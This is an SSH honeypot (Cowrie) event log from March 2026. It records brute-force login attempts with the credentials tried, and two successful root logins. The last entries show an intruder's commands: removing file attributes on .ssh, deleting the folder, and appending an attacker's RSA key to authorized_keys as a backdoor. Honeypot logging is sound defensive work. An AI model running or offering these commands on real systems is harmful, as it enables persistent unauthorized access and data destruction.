{"eventid":"cowrie.session.connect","src_ip":"72.144.12.31","src_port":55446,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf973c3e97e","protocol":"ssh","message":"New connection: 72.144.12.31:55446 (10.17.0.5:22) [session: ccf973c3e97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.252821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.260414Z","src_ip":"72.144.12.31","session":"ccf973c3e97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.362283Z","src_ip":"72.144.12.31","session":"ccf973c3e97e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.783357Z","src_ip":"72.144.12.31","session":"ccf973c3e97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.891278Z","src_ip":"72.144.12.31","session":"ccf973c3e97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:52.896130Z","src_ip":"72.144.12.31","session":"bb4f00cc2ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22783,"dst_ip":"159.203.135.109","dst_port":22,"session":"6caa4c00e102","protocol":"ssh","message":"New connection: 2.57.121.25:22783 (159.203.135.109:22) [session: 6caa4c00e102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:55.825036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:55.829297Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:55.934114Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pronto","message":"login attempt [user/pronto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:56.430020Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"porsche911","message":"login attempt [user/porsche911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:57.551394Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"poobear","message":"login attempt [user/poobear] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:58.664505Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"plumbing","message":"login attempt [user/plumbing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:44:59.771925Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"plum","message":"login attempt [user/plum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:00.883140Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:01.997084Z","src_ip":"2.57.121.25","session":"6caa4c00e102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47620,"dst_ip":"159.203.135.109","dst_port":22,"session":"52e1eb9f31bd","protocol":"ssh","message":"New connection: 193.32.162.151:47620 (159.203.135.109:22) [session: 52e1eb9f31bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:04.927012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:04.938473Z","src_ip":"193.32.162.151","session":"52e1eb9f31bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:05.053064Z","src_ip":"193.32.162.151","session":"52e1eb9f31bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"admin@123","message":"login attempt [Admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:05.486623Z","src_ip":"193.32.162.151","session":"52e1eb9f31bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:06.602322Z","src_ip":"193.32.162.151","session":"52e1eb9f31bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":55304,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b248b98344","protocol":"ssh","message":"New connection: 92.118.39.92:55304 (10.17.0.5:22) [session: f8b248b98344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:34.655409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:34.659642Z","src_ip":"92.118.39.92","session":"f8b248b98344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:34.776320Z","src_ip":"92.118.39.92","session":"f8b248b98344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:35.086421Z","src_ip":"92.118.39.92","session":"f8b248b98344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:45:36.192777Z","src_ip":"92.118.39.92","session":"f8b248b98344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":42922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8757314b440","protocol":"ssh","message":"New connection: 92.118.39.76:42922 (159.203.135.109:22) [session: f8757314b440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:46:11.437212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:46:11.442045Z","src_ip":"92.118.39.76","session":"f8757314b440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:46:11.548024Z","src_ip":"92.118.39.76","session":"f8757314b440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:46:11.865333Z","src_ip":"92.118.39.76","session":"f8757314b440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:46:12.977800Z","src_ip":"92.118.39.76","session":"f8757314b440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":35134,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb9aa8cbcf7","protocol":"ssh","message":"New connection: 193.32.162.151:35134 (159.203.135.109:22) [session: ebb9aa8cbcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:19.884192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:19.889357Z","src_ip":"193.32.162.151","session":"ebb9aa8cbcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:19.994573Z","src_ip":"193.32.162.151","session":"ebb9aa8cbcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:20.341110Z","src_ip":"193.32.162.151","session":"ebb9aa8cbcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:21.455123Z","src_ip":"193.32.162.151","session":"ebb9aa8cbcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.235.184.214","src_port":51280,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8906ac0b0c3","protocol":"ssh","message":"New connection: 186.235.184.214:51280 (159.203.135.109:22) [session: b8906ac0b0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:40.818089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:40.822907Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:40.922262Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Master12","message":"login attempt [root/Master12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.349964Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.597923Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.601338Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.605561Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.707847Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:41.997192Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:47:42.001171Z","src_ip":"186.235.184.214","session":"b8906ac0b0c3","protocol":"ssh"}
